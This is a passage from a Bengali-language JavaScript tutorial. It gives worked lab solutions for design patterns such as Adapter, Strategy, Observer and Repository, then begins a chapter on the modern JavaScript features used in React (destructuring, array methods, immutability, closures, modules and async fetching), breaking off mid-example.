সমস্যা ও লক্ষ্য: একটি পুরোনো সিস্টেমের API মেথড oldAPI.getUserData() রিটার্ন করে { first_name, last_name, user_email }। এটিকে ক্লায়েন্টের প্রত্যাশিত আধুনিক ইন্টারফেস userService.getUser() অর্থাৎ { fullName, email } ফরম্যাটে রূপান্তর করতে একটি Adapter লিখুন।

PRODUCTION SOLUTION: LAB 3JAVASCRIPT
// Legacy Service (Cannot modify directly)
class LegacyUserAPI {
  getUserData() {
    return {
      first_name: 'Shariar',
      last_name: 'Ahamed',
      user_email: 'shariar@example.com'
    };
  }
}

// Adapter implementing Modern Target Interface
class UserAdapter {
  constructor(legacyApi) {
    this.legacyApi = legacyApi;
  }

  getUser() {
    const data = this.legacyApi.getUserData();
    return {
      fullName: `${data.first_name} ${data.last_name}`,
      email: data.user_email
    };
  }
}

// Client Usage
const legacyAPI = new LegacyUserAPI();
const userService = new UserAdapter(legacyAPI);

const user = userService.getUser();
console.log('Modern Format:', user);
// Output: Modern Format: { fullName: 'Shariar Ahamed', email: 'shariar@example.com' }
💡 আর্কিটেকচারাল ব্যাখ্যা: Adapter Pattern বিদ্যমান কোনো ক্লাসের কোড পরিবর্তন না করেই দুটি অসঙ্গতিপূর্ণ ইন্টারফেসের মধ্যে একটি সুসংগত সেতু তৈরি করে দেয়।
Lab 4: Strategy Pattern — Interchangeable Multi-Gateway Payment System Intermediate

সমস্যা ও লক্ষ্য: একটি ই-কমার্স পেমেন্ট সিস্টেম তৈরি করুন যাতে Card, Bank Transfer এবং Mobile Banking (bKash/Nagad) স্ট্র্যাটেজি আলাদা অবজেক্ট হিসেবে থাকবে এবং পেমেন্ট সার্ভিস রানটাইমে কৌশল অদলবদল করতে পারবে।

PRODUCTION SOLUTION: LAB 4JAVASCRIPT
// 1. Concrete Strategies
const CardPaymentStrategy = {
  pay(amount) {
    return `Paid ৳${amount} via Credit/Debit Card (Gateway Fee: 1.5%)`;
  }
};

const BankTransferStrategy = {
  pay(amount) {
    return `Paid ৳${amount} via Direct Bank Wire (Routing: 092834)`;
  }
};

const MobileBankingStrategy = {
  pay(amount) {
    return `Paid ৳${amount} via bKash/Nagad Wallet (Instant SMS TrxID)`;
  }
};

// 2. Context Service
class CheckoutService {
  constructor(strategy) {
    this.strategy = strategy;
  }

  setStrategy(newStrategy) {
    this.strategy = newStrategy;
  }

  processPayment(amount) {
    return this.strategy.pay(amount);
  }
}

// Usage
const checkout = new CheckoutService(CardPaymentStrategy);
console.log(checkout.processPayment(5000));

// Switch strategy at runtime without breaking CheckoutService
checkout.setStrategy(MobileBankingStrategy);
console.log(checkout.processPayment(1200));
💡 আর্কিটেকচারাল ব্যাখ্যা: Strategy Pattern অ্যালগরিদম বা বিজনেস মেকানিজমকে আলাদা ক্লাসে বিভক্ত করে, যার ফলে মূল কনটেক্সট ক্লাস পরিবর্তন না করেই নতুন নতুন পেমেন্ট মেথড যুক্ত করা যায় (Open/Closed Principle)।
Lab 5: Observer Pattern — Real-Time Notification Broadcast Intermediate

সমস্যা ও লক্ষ্য: এমন একটি Subject তৈরি করুন যা মেসেজ আসলে তার সকল রেজিস্টার্ড Observer (User 1, User 2, User 3)-কে স্বয়ংক্রিয়ভাবে নোটিফাই করবে।

PRODUCTION SOLUTION: LAB 5JAVASCRIPT
class NotificationSubject {
  constructor() {
    this.observers = [];
  }

  subscribe(observer) {
    this.observers.push(observer);
  }

  unsubscribe(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }

  notify(message) {
    this.observers.forEach(observer => observer.update(message));
  }
}

class UserObserver {
  constructor(username) {
    this.username = username;
  }

  update(message) {
    console.log(`[Notification to ${this.username}]: ${message}`);
  }
}

// Execution
const channel = new NotificationSubject();
const user1 = new UserObserver('Abrar');
const user2 = new UserObserver('Fatima');

channel.subscribe(user1);
channel.subscribe(user2);

channel.notify('🎉 JavaScript Master Chapter 37 is now available!');
// Both Abrar and Fatima receive notifications simultaneously
💡 আর্কিটেকচারাল ব্যাখ্যা: Observer Pattern-এ সাবজেক্টের স্টেটে কোনো পরিবর্তন ঘটলে সকল সাবস্ক্রাইবার অবজেক্ট তা তৎক্ষণাৎ জানতে পারে, যা রিয়েল-টাইম ডাটা সিঙ্ক্রোনাইজেশনে অপরিহার্য।
Lab 6: Pub/Sub Pattern — Fully Decoupled Global Event Bus Intermediate

সমস্যা ও লক্ষ্য: একটি গ্লোবাল EventBus তৈরি করুন যাতে subscribe(event, callback) এবং publish(event, data) মেথড থাকবে, যেখানে পাবলিশার এবং সাবস্ক্রাইবার একে অপরকে সরাসরি চেনে না।

PRODUCTION SOLUTION: LAB 6JAVASCRIPT
class EventBus {
  constructor() {
    this.events = {};
  }

  subscribe(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
    
    // Return unsubscribe function
    return () => {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    };
  }

  publish(event, data) {
    if (this.events[event]) {
      this.events[event].forEach(callback => callback(data));
    }
  }
}

// Global Bus Usage
const bus = new EventBus();

const unsubAuth = bus.subscribe('user:login', user => {
  console.log(`Auth System: Welcome back ${user.name}!`);
});

bus.subscribe('user:login', user => {
  console.log(`Analytics System: Logged in event for ID ${user.id}`);
});

bus.publish('user:login', { id: 101, name: 'Tanvir' });
unsubAuth(); // Cleanly detach auth listener
💡 আর্কিটেকচারাল ব্যাখ্যা: Pub/Sub-এ একটি সেন্ট্রাল ব্রোকার (Event Bus) থাকে। ফলে সেন্ডার ও রিসিভার কেউ কাউকে চেনে না; তারা কেবল ইভেন্টের নামের ভিত্তিতে স্বাধীনভাবে যোগাযোগ করে।
Lab 7: Dependency Injection — Decoupling Service from Concrete Database Advanced

সমস্যা ও লক্ষ্য: এমন একটি UserService তৈরি করুন যা কনস্ট্রাক্টরের মাধ্যমে ডাটাবেস ইন্সট্যান্স ইনজেক্ট করে নেয়। এর মাধ্যমে প্রোডাকশন DB এবং টেস্ট মক DB উভয়েই যাতে একই সার্ভিস ব্যবহার করতে পারে তা দেখান।

PRODUCTION SOLUTION: LAB 7JAVASCRIPT
// Database Implementations
class MongoDatabase {
  find(id) {
    return { id, name: 'Prod User', source: 'MongoDB Atlas' };
  }
}

class MockTestDatabase {
  find(id) {
    return { id, name: 'Test Fixture User', source: 'In-Memory Mock' };
  }
}

// Service with Injected Dependency
class UserService {
  constructor(database) {
    this.db = database; // Injected externally
  }

  getUserProfile(id) {
    const record = this.db.find(id);
    return `User: ${record.name} (Retrieved via ${record.source})`;
  }
}

// In Production
const prodService = new UserService(new MongoDatabase());
console.log(prodService.getUserProfile(1));

// In Unit Testing
const testService = new UserService(new MockTestDatabase());
console.log(testService.getUserProfile(1));
💡 আর্কিটেকচারাল ব্যাখ্যা: Dependency Injection (DI) ক্লাসের ভেতরে সরাসরি new Class() কল বন্ধ করে বাইরে থেকে ইনস্ট্যান্স সাপ্লাই করে। এটি কোডকে 100% টেস্টেবল ও মডুলার বানায়।
Lab 8: Repository Pattern — Clean Architecture Data Access Layer Advanced

সমস্যা ও লক্ষ্য: Controller -> Service -> Repository -> Database এই লেয়ারড আর্কিটেকচার মেনে একটি সম্পূর্ণ ইউজার রেজিস্ট্রেশন ও ফেচিং সিস্টেম লিখুন।

PRODUCTION SOLUTION: LAB 8JAVASCRIPT
// 1. Repository Layer (Only talks to DB)
class UserRepository {
  constructor() {
    this.storage = new Map();
  }

  create(user) {
    this.storage.set(user.id, user);
    return user;
  }

  findById(id) {
    return this.storage.get(id) || null;
  }
}

// 2. Service Layer (Pure Business Logic & Validations)
class UserService {
  constructor(userRepo) {
    this.userRepo = userRepo;
  }

  register(id, name, email) {
    if (!email.includes('@')) throw new Error('Invalid email address');
    return this.userRepo.create({ id, name, email });
  }

  getDetails(id) {
    const user = this.userRepo.findById(id);
    if (!user) throw new Error('User not found');
    return user;
  }
}

// 3. Controller Layer (HTTP / Client Interface)
class UserController {
  constructor(userService) {
    this.userService = userService;
  }

  handleRegister(id, name, email) {
    try {
      const created = this.userService.register(id, name, email);
      return { status: 201, data: created };
    } catch (err) {
      return { status: 400, error: err.message };
    }
  }
}

// Wire-up
const repo = new UserRepository();
const service = new UserService(repo);
const controller = new UserController(service);

console.log(controller.handleRegister(1, 'Kabir', 'kabir@code.bd'));
💡 আর্কিটেকচারাল ব্যাখ্যা: Repository Pattern বিজনেস লজিককে ডাটা স্টোরেজ মেকানিজম থেকে সম্পূর্ণ আলাদা রাখে। কাল যদি SQL থেকে NoSQL-এ শিফট করা হয়, তবে শুধুমাত্র Repository ক্লাস পরিবর্তন করলেই চলে।
Lab 9: Full Enterprise Mini-Project — E-Commerce Checkout System Advanced

সমস্যা ও লক্ষ্য: Factory, Strategy, Service, Repository এবং Observer প্যাটার্নগুলোর সমন্বয়ে একটি সম্পূর্ণ এন্ড-টু-এন্ড E-Commerce Checkout System তৈরি করুন।

PRODUCTION SOLUTION: LAB 9JAVASCRIPT
// 1. Strategy: Payment Methods
const BkashStrategy = { pay: amount => `Bkash: ৳${amount} confirmed` };
const CardStrategy = { pay: amount => `Visa/Mastercard: ৳${amount} settled` };

// 2. Observer: Order Notification Event Bus
class OrderNotifier {
  constructor() { this.listeners = []; }
  onOrderSuccess(fn) { this.listeners.push(fn); }
  broadcast(order) { this.listeners.forEach(fn => fn(order)); }
}

// 3. Repository: Order Storage
class OrderRepository {
  constructor() { this.orders = []; }
  save(order) { this.orders.push(order); return order; }
}

// 4. Service: Business Logic & Orchestration
class OrderService {
  constructor(orderRepo, notifier) {
    this.orderRepo = orderRepo;
    this.notifier = notifier;
  }

  checkout(orderId, items, amount, paymentStrategy) {
    // 1. Process payment via strategy
    const paymentReceipt = paymentStrategy.pay(amount);
    
    // 2. Persist order via repository
    const order = this.orderRepo.save({
      id: orderId,
      items,
      amount,
      paymentReceipt,
      status: 'PAID',
      date: new Date().toISOString()
    });

    // 3. Notify all listeners via observer
    this.notifier.broadcast(order);
    return order;
  }
}

// --- Application Assembly & Execution ---
const notifier = new OrderNotifier();
notifier.onOrderSuccess(order => console.log(`[SMS Gateway]: Order #${order.id} paid ৳${order.amount}`));
notifier.onOrderSuccess(order => console.log(`[Warehouse]: Pack items for Order #${order.id}`));

const repo = new OrderRepository();
const orderService = new OrderService(repo, notifier);

const completedOrder = orderService.checkout(
  'ORD-9821', 
  ['JavaScript Master Book', 'Coffee Mug'], 
  1450, 
  BkashStrategy
);

console.log('Final Order Result:', completedOrder.status);
💡 আর্কিটেকচারাল ব্যাখ্যা: বাস্তব সফটওয়্যারে কোনো একক প্যাটার্ন একা চলে না। বিভিন্ন প্যাটার্নের সমন্বয়ে একটি আর্কিটেকচার তৈরি হয় যা অত্যন্ত স্কেলেবল, পরিবর্তনশীল এবং এন্টারপ্রাইজ-রেডি।
37.70 🎯 Final Mental Map — ডিজাইন প্যাটার্নের পূর্ণাঙ্গ মানচিত্র

পুরো Chapter 37-এর ডিজাইন প্যাটার্ন ও সফটওয়্যার আর্কিটেকচার একনজরে:

✨ DESIGN PATTERNS TAXONOMY & ARCHITECTURE MAP
DESIGN PATTERNS
                       
       ───────────────────────────────
                                      
  CREATIONAL       STRUCTURAL       BEHAVIORAL
                                      
    Factory           Adapter          Observer
    Builder           Decorator        Pub/Sub
    Singleton         Facade            Strategy
    Prototype         Proxy             Command
                                       State
                                       Chain
                       
                       
                ARCHITECTURE
                       
              ────────────────
                              
          Controller Service Repository
                              
              ────────────────
                       
                 Dependency
                  Injection
                       
                       
                  Database/API
🏆 এক লাইনে Chapter 37: Design Pattern কোনো মুখস্থ কোড নয়—এটি একটি প্রমাণিত আর্কিটেকচারাল সমাধান যা কোডকে সহজে পরিবর্তনযোগ্য, বাগ-মুক্ত এবং প্রোডাকশন স্কেলে বজায় রাখতে সাহায্য করে।
37.71 🔗 Curriculum Progression: Chapter 36 → 37 → 38
✨ ROADMAP CONTINUITY PIPELINE
Chapter 36: Modern ECMAScript / ES2020+ Features
       
Optional Chaining, Nullish Coalescing, Top-level Await, toSorted, Object.groupBy
       
Chapter 37: JavaScript Design Patterns (THIS CHAPTER)
       
Creational, Structural, Behavioral, MVC, Dependency Injection & Repository
       
Chapter 38: Advanced JavaScript for React
       
Reactivity Engine, Custom Hooks Architecture, State Machines & Virtual DOM Deep Dive
Chapter 38
↑ Index
Advanced JavaScript for React — রিঅ্যাক্টের জন্য অ্যাডভান্সড জাভাস্ক্রিপ্ট
Total Modules
55 Modules + 8 Practice Labs
Curriculum Part
Part 32 — React Engineering Foundations
Core Innovations
Immutability, State Pipelines, Closures
Target Architecture
React 18/19, Next.js & Component Model
Advanced JavaScript for React — আধুনিক ফ্রন্টএন্ডের মূল চালিকাশক্তি

React শেখা মানে মূলত আধুনিক JavaScript-এর অ্যাডভান্সড ফিচার ও প্যাটার্নসমূহ আয়ত্ত করা। শুধু JSX বা useState() জানলেই চলে না—ইমিউটেবল স্টেট আপডেট, ক্লোজার, হাইয়ার-অর্ডার ফাংশন, রেফারেন্স বনাম ভ্যালু, অ্যারে ট্রান্সফর্মেশন (map/filter/reduce), অপশনাল চেইনিং, ইভেন্ট ডেলিগেশন এবং ডিবউন্সিং/থ্রটলিং জানা অপরিহার্য। এই চ্যাপ্টারে আমরা এই প্রতিটি বিষয় বাস্তব কোডসহ বিশদভাবে শিখব।

📌 1. Destructuring & Spread
📌 2. map() & filter()
📌 3. Immutability & State
📌 4. Reference vs Value
📌 5. Closures in React
📌 6. Async/Await in React
📌 7. Synthetic Events
📌 8. Debounce & Throttle
📌 9. Nested State Updates
📌 10. Common React Mistakes
Part 01 — Modern Syntax in React: Destructuring, Spread & Rest (38.1 – 38.5)
38.1 React-এর জন্য Advanced JavaScript কেন?

React মূলত JavaScript-এর উপর তৈরি। তাই React-এ এই ধরনের code খুব common:

JAVASCRIPT SourceJAVASCRIPT
const users = [
  { name: "Ripon", age: 23 },
  { name: "Rahim", age: 22 }
];

const names = users.map(user => user.name);

এখানে React নেই, কিন্তু React application-এ এই ধরনের JavaScript প্রতিদিন ব্যবহার করতে হবে।

🔹 সহজভাবে:
✨ FULL-STACK JAVASCRIPT TO REACT PROGRESSION
JavaScript
   
Modern JavaScript
   
React
   
Next.js / Full Stack

তাই Advanced JavaScript ভালোভাবে জানা = React অনেক সহজ হয়ে যাওয়া।

38.2 Destructuring

Destructuring হলো object বা array থেকে প্রয়োজনীয় value সরাসরি variable-এ বের করে নেওয়া।

✨ Object Destructuring
JAVASCRIPT SourceJAVASCRIPT
const user = {
  name: "Ripon",
  age: 23,
  city: "Dhaka"
};

const { name, age } = user;

console.log(name);
console.log(age);
🔹 Output
✨ REACT ARCHITECTURAL DIAGRAM
Ripon
23

আগে লিখতে হতো:

JAVASCRIPT SourceJAVASCRIPT
const name = user.name;
const age = user.age;

Destructuring:

JAVASCRIPT SourceJAVASCRIPT
const { name, age } = user;
🔹 React Example
JSX SourceJSX
function UserCard({ name, age }) {
  return (
    <div>
      <h2>{name}</h2>
      <p>{age}</p>
    </div>
  );
}

এখানে:

JAVASCRIPT SourceJAVASCRIPT
{name, age}

হলো props destructuring।

38.3 Array Destructuring
JAVASCRIPT SourceJAVASCRIPT
const colors = ["red", "green", "blue"];

const [first, second, third] = colors;

console.log(first);
console.log(second);
console.log(third);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
red
green
blue

React-এর সবচেয়ে famous example:

JAVASCRIPT SourceJAVASCRIPT
const [count, setCount] = useState(0);

এখানে:

✨ REACT ARCHITECTURAL DIAGRAM
count      প্রথম value
setCount   দ্বিতীয় value

অর্থাৎ React-এর useState() বুঝতেও Array Destructuring জানা দরকার।

38.4 Spread Operator ...

Spread operator একটি array/object-এর elements বা properties ছড়িয়ে দেয়।

✨ Array
JAVASCRIPT SourceJAVASCRIPT
const numbers = [1, 2, 3];

const newNumbers = [...numbers, 4, 5];

console.log(newNumbers);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
[1, 2, 3, 4, 5]
✨ Object
JAVASCRIPT SourceJAVASCRIPT
const user = {
  name: "Ripon",
  age: 23
};

const updatedUser = {
  ...user,
  age: 24
};

console.log(updatedUser);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
{
  name: "Ripon",
  age: 24
}
🔹 React-এ অত্যন্ত গুরুত্বপূর্ণ
JAVASCRIPT SourceJAVASCRIPT
setUser({
  ...user,
  age: 24
});

এর অর্থ:

💡 আগের user-এর সব property রাখো, শুধু age পরিবর্তন করো।
38.5 Rest Operator

দেখতে একই:

JAVASCRIPT SourceJAVASCRIPT
...

কিন্তু কাজ আলাদা।

🔹 Rest = বাকি value সংগ্রহ করা
JAVASCRIPT SourceJAVASCRIPT
const numbers = [1, 2, 3, 4, 5];

const [first, second, ...rest] = numbers;

console.log(first);
console.log(second);
console.log(rest);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
1
2
[3, 4, 5]
🔹 Function
JAVASCRIPT SourceJAVASCRIPT
function sum(...numbers) {
  return numbers.reduce((total, num) => total + num, 0);
}

console.log(sum(10, 20, 30));

Output:

✨ REACT ARCHITECTURAL DIAGRAM
60
Part 02 — Array Transformations & Iteration in React (map, filter, find, reduce) (38.6 – 38.12)
38.6 map() — React-এর সবচেয়ে গুরুত্বপূর্ণ Array Method

map() array-এর প্রতিটি element নিয়ে নতুন array তৈরি করে।

JAVASCRIPT SourceJAVASCRIPT
const numbers = [1, 2, 3];

const doubled = numbers.map(num => num * 2);

console.log(doubled);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
[2, 4, 6]
✨ React-এ map()
JSX SourceJSX
const users = [
  { id: 1, name: "Ripon" },
  { id: 2, name: "Rahim" },
  { id: 3, name: "Karim" }
];

function Users() {
  return (
    <div>
      {users.map(user => (
        <p key={user.id}>
          {user.name}
        </p>
      ))}
    </div>
  );
}
🔹 Browser
✨ REACT ARCHITECTURAL DIAGRAM
Ripon
Rahim
Karim
🔹 এখানে:
JAVASCRIPT SourceJAVASCRIPT
users.map(...)

মানে:

💡 প্রত্যেক user-এর জন্য একটি UI element তৈরি করো।
⚡ 🔥 MUST KNOW

React-এ array render করার সময় সাধারণত:

JSX SourceJSX
array.map(...)

ব্যবহার করা হয়। এবং সাধারণত unique:

JSX SourceJSX
key={item.id}

দেওয়া হয়।

38.7 filter()

filter() condition অনুযায়ী নতুন array তৈরি করে।

JAVASCRIPT SourceJAVASCRIPT
const numbers = [1, 2, 3, 4, 5];

const evenNumbers = numbers.filter(num => num % 2 === 0);

console.log(evenNumbers);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
[2, 4]
🔹 React Example
JSX SourceJSX
const products = [
  { name: "Laptop", price: 80000 },
  { name: "Mouse", price: 1000 },
  { name: "Keyboard", price: 3000 }
];

const expensiveProducts = products.filter(
  product => product.price > 5000
);

Result:

✨ REACT ARCHITECTURAL DIAGRAM
Laptop
38.8 find()

প্রথম matching element return করে।

JAVASCRIPT SourceJAVASCRIPT
const users = [
  { id: 1, name: "Ripon" },
  { id: 2, name: "Rahim" }
];

const user = users.find(user => user.id === 2);

console.log(user);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
{ id: 2, name: "Rahim" }
🔹 filter() বনাম find()
MethodResult
find()প্রথম matching element
filter()সব matching element
38.9 findIndex()
JAVASCRIPT SourceJAVASCRIPT
const users = [
  { id: 10, name: "A" },
  { id: 20, name: "B" },
  { id: 30, name: "C" }
];

const index = users.findIndex(user => user.id === 20);

console.log(index);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
1
38.10 some()

কমপক্ষে একজন condition satisfy করলে true

JAVASCRIPT SourceJAVASCRIPT
const ages = [15, 17, 22];

const hasAdult = ages.some(age => age >= 18);

console.log(hasAdult);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
true
🔹 Real-life
💡 Class-এর মধ্যে অন্তত একজন student কি উপস্থিত?
JAVASCRIPT SourceJAVASCRIPT
students.some(student => student.present)
38.11 every()

সবাই condition satisfy করলে true

JAVASCRIPT SourceJAVASCRIPT
const ages = [20, 25, 30];

const allAdults = ages.every(age => age >= 18);

console.log(allAdults);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
true
38.12 reduce()

reduce() অনেকগুলো value থেকে একটি final result তৈরি করতে পারে।

JAVASCRIPT SourceJAVASCRIPT
const numbers = [10, 20, 30];

const total = numbers.reduce(
  (sum, number) => sum + number,
  0
);

console.log(total);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
60
🔹 Shopping Cart
JAVASCRIPT SourceJAVASCRIPT
const cart = [
  { name: "Laptop", price: 80000 },
  { name: "Mouse", price: 1000 },
  { name: "Keyboard", price: 3000 }
];

const total = cart.reduce(
  (sum, item) => sum + item.price,
  0
);

console.log(total);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
84000

React e-commerce app-এ এই ধরনের code খুব common।

Part 03 — Immutability, State Updates & Reference vs Value (38.13 – 38.20)
38.13 Immutability

React-এর সবচেয়ে গুরুত্বপূর্ণ conceptগুলোর একটি। Immutability = existing data সরাসরি পরিবর্তন না করা। ❌ Bad:

JAVASCRIPT SourceJAVASCRIPT
user.name = "Rahim";

Better:

JAVASCRIPT SourceJAVASCRIPT
setUser({
  ...user,
  name: "Rahim"
});
38.14 কেন React-এ Immutability গুরুত্বপূর্ণ?

React state update detect করতে reference comparison ব্যবহার করে। ধরো:

JAVASCRIPT SourceJAVASCRIPT
const user = {
  name: "Ripon"
};

সরাসরি:

JAVASCRIPT SourceJAVASCRIPT
user.name = "Rahim";

করলে একই object reference থাকে। কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
const newUser = {
  ...user,
  name: "Rahim"
};

এখানে নতুন object তৈরি হয়।

✨ REACT ARCHITECTURAL DIAGRAM
Old Object
     
   copy
     
New Object

React state management-এর জন্য এই pattern অত্যন্ত গুরুত্বপূর্ণ।

38.15 Array State Update

ধরো:

JAVASCRIPT SourceJAVASCRIPT
const [items, setItems] = useState([]);

নতুন item যোগ:

JAVASCRIPT SourceJAVASCRIPT
setItems([
  ...items,
  newItem
]);

❌ সরাসরি:

JAVASCRIPT SourceJAVASCRIPT
items.push(newItem);

এড়িয়ে চলা উচিত।

38.16 Array Item Update

ধরো:

JAVASCRIPT SourceJAVASCRIPT
const users = [
  { id: 1, name: "Ripon" },
  { id: 2, name: "Rahim" }
];

id = 2 update করতে:

JAVASCRIPT SourceJAVASCRIPT
const updatedUsers = users.map(user =>
  user.id === 2
    ? { ...user, name: "Karim" }
    : user
);

Result:

JAVASCRIPT SourceJAVASCRIPT
[
  { id: 1, name: "Ripon" },
  { id: 2, name: "Karim" }
]

🔥 React-এ এটি খুব গুরুত্বপূর্ণ pattern।

38.17 Array Item Delete
JAVASCRIPT SourceJAVASCRIPT
setUsers(
  users.filter(user => user.id !== 2)
);

অর্থ:

💡 id 2 ছাড়া বাকি সবাই রাখো।
38.18 Reference vs Value

Primitive:

JAVASCRIPT SourceJAVASCRIPT
let a = 10;
let b = a;

b = 20;

console.log(a);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
10

Object:

JAVASCRIPT SourceJAVASCRIPT
const user1 = {
  name: "Ripon"
};

const user2 = user1;

user2.name = "Rahim";

console.log(user1.name);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
Rahim

কারণ দুটো একই object reference ধরে রেখেছে।

38.19 Shallow Copy
JAVASCRIPT SourceJAVASCRIPT
const user = {
  name: "Ripon",
  age: 23
};

const copy = {
  ...user
};

এখন:

✨ REACT ARCHITECTURAL DIAGRAM
user !== copy

কিন্তু nested object থাকলে সমস্যা হতে পারে।

JAVASCRIPT SourceJAVASCRIPT
const user = {
  name: "Ripon",
  address: {
    city: "Dhaka"
  }
};

const copy = { ...user };

copy.address.city = "Dinajpur";

এতে original-এর nested object-ও পরিবর্তিত হতে পারে। কারণ spread deep copy নয়

38.20 Deep Copy

Modern JavaScript-এ:

JAVASCRIPT SourceJAVASCRIPT
const copy = structuredClone(user);

এটি অনেক ক্ষেত্রে nested data-এর deep copy তৈরি করতে পারে।

Part 04 — Safe Access, Short-Circuiting, Ternaries & Higher-Order Functions (38.21 – 38.27)
38.21 Optional Chaining ?.

ধরো API response:

JAVASCRIPT SourceJAVASCRIPT
const user = {};

এখন:

JAVASCRIPT SourceJAVASCRIPT
console.log(user.address.city);

error হতে পারে। কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
console.log(user.address?.city);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
undefined

আরও:

JAVASCRIPT SourceJAVASCRIPT
user?.profile?.address?.city

React-এ API data render করার সময় খুব useful।

38.22 Nullish Coalescing ??
JAVASCRIPT SourceJAVASCRIPT
const username = null;

const name = username ?? "Guest";

console.log(name);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
Guest
🔹 || বনাম ??
JAVASCRIPT SourceJAVASCRIPT
const count = 0;

console.log(count || 10);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
10

কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
console.log(count ?? 10);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
0

কারণ ?? শুধু null অথবা undefined check করে।

38.23 Short-Circuit Rendering

React:

JSX SourceJSX
{isLoggedIn && <Dashboard />}

মানে:

✨ REACT ARCHITECTURAL DIAGRAM
isLoggedIn = true
        
Dashboard দেখাও

আর:

✨ REACT ARCHITECTURAL DIAGRAM
false
 
কিছু render করো না
38.24 Ternary Operator
JAVASCRIPT SourceJAVASCRIPT
const isLoggedIn = true;

const message = isLoggedIn
  ? "Welcome"
  : "Please login";

console.log(message);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
Welcome

React:

JSX SourceJSX
{isLoggedIn ? (
  <Dashboard />
) : (
  <Login />
)}

এটি React-এর খুব common pattern।

38.25 Arrow Functions
JAVASCRIPT SourceJAVASCRIPT
const add = (a, b) => {
  return a + b;
};

Short form:

JAVASCRIPT SourceJAVASCRIPT
const add = (a, b) => a + b;

React:

JSX SourceJSX
users.map(user => (
  <p>{user.name}</p>
))
38.26 Higher-Order Function

যে function:

  • অন্য function গ্রহণ করে অথবা
  • function return করে

তাকে Higher-Order Function বলা হয়। উদাহরণ:

JAVASCRIPT SourceJAVASCRIPT
function calculate(a, b, operation) {
  return operation(a, b);
}

const result = calculate(
  10,
  20,
  (a, b) => a + b
);

console.log(result);

Output:

✨ REACT ARCHITECTURAL DIAGRAM
30

React-এর:

JAVASCRIPT SourceJAVASCRIPT
map()
filter()
reduce()

এগুলো callback গ্রহণ করে।

38.27 Callback Function
JAVASCRIPT SourceJAVASCRIPT
function greet(name, callback) {
  console.log("Hello", name);
  callback();
}

greet("Ripon", () => {
  console.log("Welcome!");
});

Output:

✨ REACT ARCHITECTURAL DIAGRAM
Hello Ripon
Welcome!
Part 05 — Closures, State Mechanics, Pure Functions & ES Modules (38.28 – 38.35)
38.28 Closures in React

Closure মানে inner function তার outer scope-এর variable মনে রাখতে পারে।

JAVASCRIPT SourceJAVASCRIPT
function counter() {
  let count = 0;

  return function () {
    count++;
    return count;
  };
}

const increase = counter();

console.log(increase());
console.log(increase());

Output:

✨ REACT ARCHITECTURAL DIAGRAM
1
2

React-এ event handler এবং hooks-এর behaviour বুঝতে closure অত্যন্ত গুরুত্বপূর্ণ।

38.29 React State এবং Closure
JSX SourceJSX
function Counter() {
  const [count, setCount] = useState(0);

  function handleClick() {
    console.log(count);
  }

  return (
    <button onClick={handleClick}>
      {count}
    </button>
  );
}

handleClick তার surrounding scope থেকে count access করছে। এটাই closure-এর practical impact।

38.30 Functional Programming

React development-এ functional programming style বেশি দেখা যায়। মূল concepts:

✨ IMMUTABLE REACT STATE LIFECYCLE
Pure Function
Immutability
Higher-Order Function
Composition
Declarative Programming
38.31 Pure Function

Pure function: 1. একই input → একই output 2. বাইরে কোনো side effect করে না

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

এটি pure। কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
let total = 0;

function addToTotal(value) {
  total += value;
}

এটি pure নয় কারণ external state পরিবর্তন করছে।

38.32 this in React

Modern React functional components-এ সাধারণত class-এর মতো this লাগে না। পুরনো React:

JAVASCRIPT SourceJAVASCRIPT
class Counter extends React.Component {
  handleClick() {
    this.setState({
      count: this.state.count + 1
    });
  }
}

Modern React:

JSX SourceJSX
function Counter() {
  const [count, setCount] = useState(0);

  return (
    <button onClick={() => setCount(count + 1)}>
      {count}
    </button>
  );
}

তাই modern React শেখার জন্য this জানা দরকার হলেও এর ব্যবহার অনেক কম।

38.33 Modules

React project সাধারণত module-based।

JAVASCRIPT SourceJAVASCRIPT
// math.js

export function add(a, b) {
  return a + b;
}

তারপর:

JAVASCRIPT SourceJAVASCRIPT
import { add } from "./math.js";

React:

JAVASCRIPT SourceJAVASCRIPT
import React from "react";
import UserCard from "./UserCard";
38.34 Default Export
JAVASCRIPT SourceJAVASCRIPT
export default function UserCard() {
  return <h2>User</h2>;
}

Import:

JAVASCRIPT SourceJAVASCRIPT
import UserCard from "./UserCard";
38.35 Named Export
JAVASCRIPT SourceJAVASCRIPT
export function add() {}

export function subtract() {}

Import:

JAVASCRIPT SourceJAVASCRIPT
import {
  add,
  subtract
} from "./math.js";
Part 06 — Async Data Fetching, Event System, Debounce & Throttle (38.36 – 38.44)
38.36 Async/Await in React

API call:

JAVASCRIPT SourceJAVASCRIPT
async function getUsers() {
  const response = await fetch(
    "https://example.com/users"
  );

  const data = await response.json();

  console.log(data);
}

React-এ সাধারণত useEffect()-এর মাধ্যমে API call করা হয়। Concept:

✨ IMMUTABLE REACT STATE LIFECYCLE
Component
   
useEffect
   
fetch()
   
await response
   
JSON
   
setState
   
Re-render
38.37 Promise Handling
JAVASCRIPT SourceJAVASCRIPT
fetch("/api/users")
  .then(response => response.json())
  .then(data => {
